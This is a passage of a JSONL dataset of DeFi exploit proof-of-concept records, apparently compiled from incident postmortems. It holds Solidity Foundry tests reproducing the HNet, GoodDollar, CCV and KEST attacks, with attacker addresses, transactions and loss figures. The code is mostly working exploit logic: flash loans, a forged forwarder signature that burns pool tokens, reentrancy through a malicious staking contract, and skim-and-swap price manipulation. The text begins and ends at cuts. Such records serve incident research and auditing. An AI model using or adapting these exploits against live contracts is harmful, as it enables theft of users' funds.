https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f\n// Vulnerable Contract : https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface IHNetTOWBNB {\n function sync() external;\n}\n\ninterface IForwarder {\n struct ForwardRequest {\n address from;\n address to;\n uint256 value;\n uint256 gas;\n uint256 nonce;\n bytes data;\n }\n\n function getNonce(\n address from\n ) external view returns (uint256);\n function execute(ForwardRequest memory req, bytes memory signature) external payable returns (bool, bytes memory);\n}\n\ninterface IHNet is IERC20 {\n function burn(\n uint256 amount\n ) external;\n function multicall(\n bytes[] memory data\n ) external returns (bytes[] memory results);\n}\n\ncontract ContractTest is Test {\n IHNet HNet = IHNet(0x256D3BC542Ff4eDb5959b584Cc98741d28165BBc);\n IForwarder Forwarder = IForwarder(0x7C4717039B89d5859c4Fbb85EDB19A6E2ce61171);\n IHNetTOWBNB Pair = IHNetTOWBNB(0x7E3F53Af12B2C84c35700BE68Cd316518546ca34);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n address attacker = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_141_220 - 1);\n vm.label(address(HNet), \"HNet\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n HNet.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n DODO.flashLoan(0.1 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n require(msg.sender == address(DODO), \"Fail\");\n WBNBTOTOKEN();\n\n uint256 amountToBurn = 1_970_000 * 1e18;\n bytes[] memory datas = new bytes[](1);\n datas[0] = abi.encodePacked(IHNet.burn.selector, amountToBurn, address(Pair));\n bytes memory data_muliti = abi.encodeWithSelector(IHNet.multicall.selector, datas);\n\n IForwarder.ForwardRequest memory req = IForwarder.ForwardRequest({\n from: attacker,\n to: address(HNet),\n value: 0,\n gas: 5e6,\n nonce: Forwarder.getNonce(attacker),\n data: data_muliti\n });\n //bytes32 ethMessagessign = toTypedDataHash(bytes32(0x99d026edad79cd8998e26685e38b0fe8e2b6a9a325835609c9e4aedb3056e1a0), keccak256(abi.encode(TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data))));\n bytes32 r = 0xc065407074ef2e05acdd73a1b1c96c6fa4215c8298f1b78b549d6849e3d84e47;\n bytes32 s = 0x5decf131b7477236ea72bb15dfb89ea226dff05cd173063e34fe9aea54e667f7;\n uint8 v = 27;\n bytes memory signature = abi.encodePacked(r, s, v);\n\n Forwarder.execute(req, signature);\n Pair.sync();\n TOKENTOWBNB();\n\n WBNB.transfer(address(DODO), 0.1 * 1e18);\n }\n\n function WBNBTOTOKEN() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(HNet);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 0.1 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function TOKENTOWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(HNet);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n HNet.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n //function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n // return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n //}\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "HNet", "date": "2023-12", "file_name": "HNet_exp.sol", "attack_vector": "flash_loan", "content_hash": "4467e99274626bc2", "collected_at": "2026-01-07T10:59:16.530802", "_source": "postmortems", "chain": "bsc", "block_number": 34141220, "total_lost_raw": "~2.4 $WBNB", "total_lost_usd": 2.4, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f", "vulnerable_contract": "https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~2.4 $WBNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n HNet.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n DODO.flashLoan(0.1 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2.4 $WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 9.38, "quality_estimate": "high", "title": "HNet Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$2M (DAI + GoodDollarToken. Info from 'balance changes' in Blocksec Explorer)\n// Exploiter : https://etherscan.io/address/0x6738fa889ff31f82d9fe8862ec025dbe318f3fde\n// Attack Contract : https://etherscan.io/address/0xf06ab383528f51da67e2b2407327731770156ed6\n// Victim Contract : https://etherscan.io/address/0x0c6c80d2061afa35e160f3799411d83bdeea0a5a\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x726459a46839c915ee2fb3d8de7f986e3c7391c605b7a622112161a84c7384d0\n\n// @Analysis\n// https://twitter.com/MetaSec_xyz/status/1736428284756607386\n\ninterface IGDX is IERC20 {\n function buy(uint256 _tokenAmount, uint256 _minReturn, address _targetAddress) external returns (uint256);\n\n function sell(\n uint256 _gdAmount,\n uint256 _minReturn,\n address _target,\n address _seller\n ) external returns (uint256, uint256);\n}\n\ninterface IGoodFundManager {\n function collectInterest(address[] memory _stakingContracts, bool _forceAndWaiverRewards) external;\n}\n\ninterface IcETH is ICEtherDelegate {\n function redeem(\n uint256 redeemTokens\n ) external returns (uint256);\n}\n\ninterface IWrappedEther is IWETH {\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\ncontract ContractTest is Test {\n IBalancerVault private constant Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IWrappedEther private constant WrappedEther = IWrappedEther(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 private constant GoodDollarToken = IERC20(0x67C5870b4A41D4Ebef24d2456547A03F1f3e094B);\n IcETH private constant cETH = IcETH(payable(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5));\n ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643));\n ICointroller private constant Comptroller = ICointroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);\n IGDX private constant GDX = IGDX(0xa150a825d425B36329D8294eeF8bD0fE68f8F6E0);\n address private constant originalExploitContract = 0xF06Ab383528F51dA67E2b2407327731770156ED6;\n address private constant participant = 0x6C08f56ff2B15dB7ddf2F123f5BFFB68e308161B;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_802_014);\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(WrappedEther), \"WrappedEther\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(GoodDollarToken), \"GoodDollarToken\");\n vm.label(address(cETH), \"cETH\");\n vm.label(address(cDAI), \"cDAI\");\n vm.label(address(Comptroller), \"Comptroller\");\n vm.label(address(GDX), \"GDX\");\n }\n\n function testExploit() public {\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter GoodDollarToken balance before attack\",\n GoodDollarToken.balanceOf(address(this)),\n GoodDollarToken.decimals()\n );\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WrappedEther);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = WrappedEther.balanceOf(address(Balancer));\n Balancer.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n }\n\n function receiveFlashLoan(\n address[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata feeAmounts,\n bytes calldata userData\n ) external {\n // Obtain GoodDollar tokens\n WrappedEther.withdraw(39_000 ether);\n WrappedEther.approve(address(cETH), type(uint256).max);\n cETH.mint{value: address(this).balance}();\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(cETH);\n Comptroller.enterMarkets(cTokens);\n uint256 underlyingAmount = cDAI.getCash();\n cDAI.borrow(underlyingAmount);\n DAI.approve(address(cDAI), type(uint256).max);\n cDAI.mint(DAI.balanceOf(address(this)));\n cDAI.approve(address(GDX), type(uint256).max);\n uint256 goodDollarAmountToBuy = (cDAI.balanceOf(address(this)) * 19) / 20;\n GDX.buy(goodDollarAmountToBuy, 1, address(this));\n\n MaliciousStakingContract maliciousStakingContract = new MaliciousStakingContract();\n // Transfer remaining cDAI amount to malicious staking contract.\n // This will be used to buy GoodDollar for malicious staking contract when calling deposit()\n cDAI.transfer(address(maliciousStakingContract), cDAI.balanceOf(address(this)));\n\n for (uint256 i; i < 2; ++i) {\n maliciousStakingContract.deposit();\n }\n maliciousStakingContract.transferTokens();\n\n GoodDollarToken.approve(address(GDX), type(uint256).max);\n // Following amount comes from original attack contract\n // address 0xf06ab383528f51da67e2b2407327731770156ed6 -> parameter '_amount' in deposit()\n uint256 amountToSell = 5_090_998_266_365;\n // Burn GoodDollar amount\n GDX.sell(amountToSell, 1, address(this), address(this));\n\n cDAI.redeemUnderlying(underlyingAmount);\n cDAI.repayBorrow(underlyingAmount);\n // After repaying borrow withdraw DAI\n cDAI.redeem(cDAI.balanceOf(address(this)));\n // Withdraw ETH\n cETH.redeem(cETH.balanceOf(address(this)));\n WrappedEther.deposit{value: address(this).balance}();\n // Before repaying Balancer there was transfer/donate of 123e15 amount of WETH from\n // 0x6C08f56ff2B15dB7ddf2F123f5BFFB68e308161B - participant in the attack tx. Also this address holds final amounts of tokens\n vm.prank(originalExploitContract);\n WrappedEther.transferFrom(participant, address(this), 123e15);\n WrappedEther.transfer(address(Balancer), amounts[0]);\n\n emit log_named_decimal_uint(\"Exploiter DAI balance after attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter GoodDollarToken balance after attack\",\n GoodDollarToken.balanceOf(address(this)),\n GoodDollarToken.decimals()\n );\n }\n\n receive() external payable {}\n}\n\ncontract MaliciousStakingContract {\n IGoodFundManager private constant GoodFundManager = IGoodFundManager(0x0c6C80D2061afA35E160F3799411d83BDEEA0a5A);\n IERC20 private constant GoodDollarToken = IERC20(0x67C5870b4A41D4Ebef24d2456547A03F1f3e094B);\n IGDX private constant GDX = IGDX(0xa150a825d425B36329D8294eeF8bD0fE68f8F6E0);\n ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643));\n\n function deposit() external {\n address[] memory _stakingContracts = new address[](1);\n _stakingContracts[0] = address(this);\n // Flawed function. Lack of input validation\n GoodFundManager.collectInterest(_stakingContracts, true);\n\n GoodDollarToken.approve(address(GDX), type(uint256).max);\n GDX.sell(GoodDollarToken.balanceOf(address(this)), 1, address(this), address(this));\n }\n\n function transferTokens() external {\n cDAI.transfer(msg.sender, cDAI.balanceOf(address(this)));\n }\n\n // Callback function. This function will be called from collectInterest()\n function collectUBIInterest(\n address _recipient\n ) external returns (uint256, uint256, uint256) {\n cDAI.approve(address(GDX), type(uint256).max);\n // Reentrancy\n GDX.buy(cDAI.balanceOf(address(this)), 1, address(this));\n return (0, 0, 0);\n }\n}\n", "type": "exploit_poc", "protocol": "GoodDollar", "date": "2023-12", "file_name": "GoodDollar_exp.sol", "attack_vector": "flash_loan", "content_hash": "2ddcd07ca2e68e35", "collected_at": "2026-01-07T10:59:16.530855", "_source": "postmortems", "chain": "ethereum", "block_number": 18802014, "total_lost_raw": "~$2M (DAI + GoodDollarToken. Info from 'balance changes' in Blocksec Explorer)", "total_lost_usd": 2000000.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0xf06ab383528f51da67e2b2407327731770156ed6", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x726459a46839c915ee2fb3d8de7f986e3c7391c605b7a622112161a84c7384d0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$2M (DAI + GoodDollarToken. Info from 'balance changes' in Blocksec Explorer)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter GoodDollarToken balance before attack\",\n GoodDollarToken.balanceOf(address(this)),\n GoodDollarToken.decimals()\n );\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WrappedEther);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = WrappedEther.balanceOf(address(Balancer));\n Balancer.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$2M (DAI + GoodDollarToken. Info from 'balance changes' in Blocksec Explorer)", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0xf06ab383528f51da67e2b2407327731770156ed6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x726459a46839c915ee2fb3d8de7f986e3c7391c605b7a622112161a84c7384d0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "GoodDollar Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~3200 $BUSD\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0xb2f22296661ccc5530ebdbabb8264b82e977504d\n// Vulnerable Contract : https://bscscan.com/address/0x37177ccc66ef919894cef37596bbebd76e7a40b2\n// Attack Tx : https://bscscan.com/tx/0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IPorxy3717 {}\n\ninterface IPorxye38d {}\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n IERC20 CCV = IERC20(0x89c27D81941708dBC9AA4d905443392cb4A8EF73);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPorxy3717 proxy3717 = IPorxy3717(0x37177ccC66ef919894CeF37596BBebd76E7A40B2);\n IPorxye38d proxye38d = IPorxye38d(0xE38d7ff85bB801D35382eeF15eB8263F2c751ecd);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_739_874 - 1);\n vm.label(address(proxy3717), \"proxy3717\");\n vm.label(address(proxye38d), \"proxye38d\");\n }\n\n function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n emit log_named_uint(\"Attacker BUSD balance before attack:\", BUSD.balanceOf(address(this)));\n CCV.approve(address(Router), type(uint256).max);\n BUSD.approve(address(Router), type(uint256).max);\n DODO.flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));\n emit log_named_uint(\"Attacker BUSD balance before attack:\", BUSD.balanceOf(address(this)));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n require(msg.sender == address(DODO), \"Fail\");\n (bool success1,) =\n address(proxy3717).call(abi.encodeWithSelector(bytes4(0x369baafe), CCV.balanceOf(address(proxy3717))));\n BUSDTOTOKEN();\n (bool success2,) =\n address(proxye38d).call(abi.encodeWithSelector(bytes4(0xb7da6a49), BUSD.balanceOf(address(proxye38d))));\n TOKENTOBUSD();\n\n BUSD.transfer(address(DODO), 100_000 * 1e18);\n }\n\n function BUSDTOTOKEN() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(CCV);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 100_000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function TOKENTOBUSD() internal {\n address[] memory path = new address[](2);\n path[0] = address(CCV);\n path[1] = address(BUSD);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n CCV.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "CCV", "date": "2023-12", "file_name": "CCV_exp.sol", "attack_vector": "flash_loan", "content_hash": "eb8247196bef82b0", "collected_at": "2026-01-07T10:59:16.530915", "_source": "postmortems", "chain": "bsc", "block_number": 34739874, "total_lost_raw": "~3200 $BUSD", "total_lost_usd": 3200.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0xb2f22296661ccc5530ebdbabb8264b82e977504d", "vulnerable_contract": "https://bscscan.com/address/0x37177ccc66ef919894cef37596bbebd76e7a40b2", "attack_tx": "https://bscscan.com/tx/0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~3200 $BUSD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n emit log_named_uint(\"Attacker BUSD balance before attack:\", BUSD.balanceOf(address(this)));\n CCV.approve(address(Router), type(uint256).max);\n BUSD.approve(address(Router), type(uint256).max);\n DODO.flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));\n emit log_named_uint(\"Attacker BUSD balance before attack:\", BUSD.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~3200 $BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0xb2f22296661ccc5530ebdbabb8264b82e977504d", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x37177ccc66ef919894cef37596bbebd76e7a40b2", "keyinfo_attack_tx": "https://bscscan.com/tx/0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.2K", "content_richness_score": 8.66, "quality_estimate": "high", "title": "CCV Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$2.3K\n// Attacker : https://bscscan.com/address/0x90c4c1aa895a086215765ec9639431309633b198\n// Attack Contract : https://bscscan.com/address/0xc25979956d6f6acfc3702c68dff7a4d871eee4aa\n// Vulnerable Contract : https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc16\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1736077719849623718\n// Hacking God :\n\ncontract KESTExploit is BaseTestWithBalanceLog {\n ILendingPool private constant Radiant = ILendingPool(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);\n Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 private constant KEST = IERC20(0x7dda132dd57b773a94E27c5CAA97834A73510429);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Pair_V2 private constant KEST_WBNB = Uni_Pair_V2(0x2D9fFa7ea5D1aAabA58e60168517b49F57E7f85b);\n\n uint256 private constant flashAmount = 200e18;\n uint256 private constant blocknumToForkFrom = 34_402_343;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(Radiant), \"Radiant\");\n vm.label(address(PancakeRouter), \"PancakeRouter\");\n vm.label(address(KEST), \"KEST\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(KEST_WBNB), \"KEST_WBNB\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n address[] memory assets = new address[](1);\n assets[0] = address(WBNB);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = flashAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n Radiant.flashLoan(address(this), assets, amounts, modes, address(this), bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WBNB.approve(address(PancakeRouter), type(uint256).max);\n KEST.approve(address(PancakeRouter), type(uint256).max);\n KEST_WBNB.approve(address(PancakeRouter), type(uint256).max);\n\n WBNBToKEST(1e16);\n (uint112 reserveKEST, uint112 reserveWBNB,) = KEST_WBNB.getReserves();\n uint256 amountWBNBtoTransfer = PancakeRouter.quote(KEST.balanceOf(address(this)), reserveKEST, reserveWBNB);\n WBNB.transfer(address(KEST_WBNB), amountWBNBtoTransfer);\n KEST.transfer(address(KEST_WBNB), KEST.balanceOf(address(this)));\n KEST_WBNB.mint(address(this));\n\n uint256 i;\n while (i < 9) {\n WBNBToKEST(WBNB.balanceOf(address(this)));\n uint256 cachedKESTBalance = KEST.balanceOf(address(this));\n KEST.transfer(address(KEST_WBNB), cachedKESTBalance);\n KEST_WBNB.skim(address(KEST_WBNB));\n (reserveKEST, reserveWBNB,) = KEST_WBNB.getReserves();\n uint256 amountIn = KEST.balanceOf(address(KEST_WBNB)) - reserveKEST;\n uint256 amountOut = PancakeRouter.getAmountOut(amountIn, reserveKEST, reserveWBNB);\n KEST_WBNB.swap(0, amountOut, address(this), bytes(\"\"));\n\n amountOut = (cachedKESTBalance * 75) / 100;\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(KEST);\n PancakeRouter.swapTokensForExactTokens(\n amountOut, WBNB.balanceOf(address(this)), path, address(PancakeRouter), block.timestamp + 1000\n );\n\n PancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(\n address(KEST), 1e15, 1, 1, address(this), block.timestamp + 1000\n );\n KESTToWBNB();\n ++i;\n }\n WBNB.approve(address(Radiant), flashAmount + premiums[0]);\n return true;\n }\n\n receive() external payable {}\n\n function WBNBToKEST(\n uint256 amount\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(KEST);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 1, path, address(this), block.timestamp + 1000\n );\n }\n\n function KESTToWBNB() private {\n address[] memory path = new address[](2);\n path[0] = address(KEST);\n path[1] = address(WBNB);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n KEST.balanceOf(address(this)), 1, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "KEST", "date": "2023-12", "file_name": "KEST_exp.sol", "attack_vector": "flash_loan", "content_hash": "e3109927ba4e1f3e", "collected_at": "2026-01-07T10:59:16.530960", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$2.3K", "total_lost_usd": 2300.0, "attacker_address": "https://bscscan.com/address/0x90c4c1aa895a086215765ec9639431309633b198", "attack_contract": "https://bscscan.com/address/0xc25979956d6f6acfc3702c68dff7a4d871eee4aa", "vulnerable_contract": "https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc16", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1736077719849623718", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$2.3K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n address[] memory assets = new address[](1);\n assets[0] = address(WBNB);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = flashAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n Radiant.flashLoan(address(this), assets, amounts, modes, address(this), bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$2.3K", "keyinfo_attacker": "https://bscscan.com/address/0x90c4c1aa895a086215765ec9639431309633b198", "keyinfo_attack_contract": "https://bscscan.com/address/0xc25979956d6f6acfc3702c68dff7a4d871eee4aa", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc16", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1736077719849623718", "funds_lost_formatted": "$2.3K", "content_richness_score": 9.64, "quality_estimate": "high", "title": "KEST Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~320K\n// Attacker : https://bscscan.com/address/0x20395d8e8a11cfd2541b942afdb810b7dcc64681\n// Attack Contract : https://bscscan.com/address/0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e\n// Vulnerable Contract : https://bscscan.com/address/0x93790c641d029d1cbd779d87b88f67704b6a8f4c\n// First Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x711cc4ceb9701d317fe9aa47187425e16dae7d5a0113f1430e891018262f8fb5\n// Second Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x93372ce9c86a25f1477b0c3068e745b5b829d5b58025bb1ab234230d3473b776\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1741353303542501455\n\ninterface IcCLP_BTCB_BUSD is ICErc20Delegate {\n function gulp() external;\n}\n\ncontract ContractTest is Test {\n ICErc20Delegate private constant cWBNB = ICErc20Delegate(payable(0x860DF3e99f6223D695aB51b2FB9eaa92Fa903E8D));\n ICErc20Delegate private constant cBUSD = ICErc20Delegate(payable(0xca797539f004C0F9c206678338f820AC38466D4b));\n ICErc20Delegate private constant cUSDT = 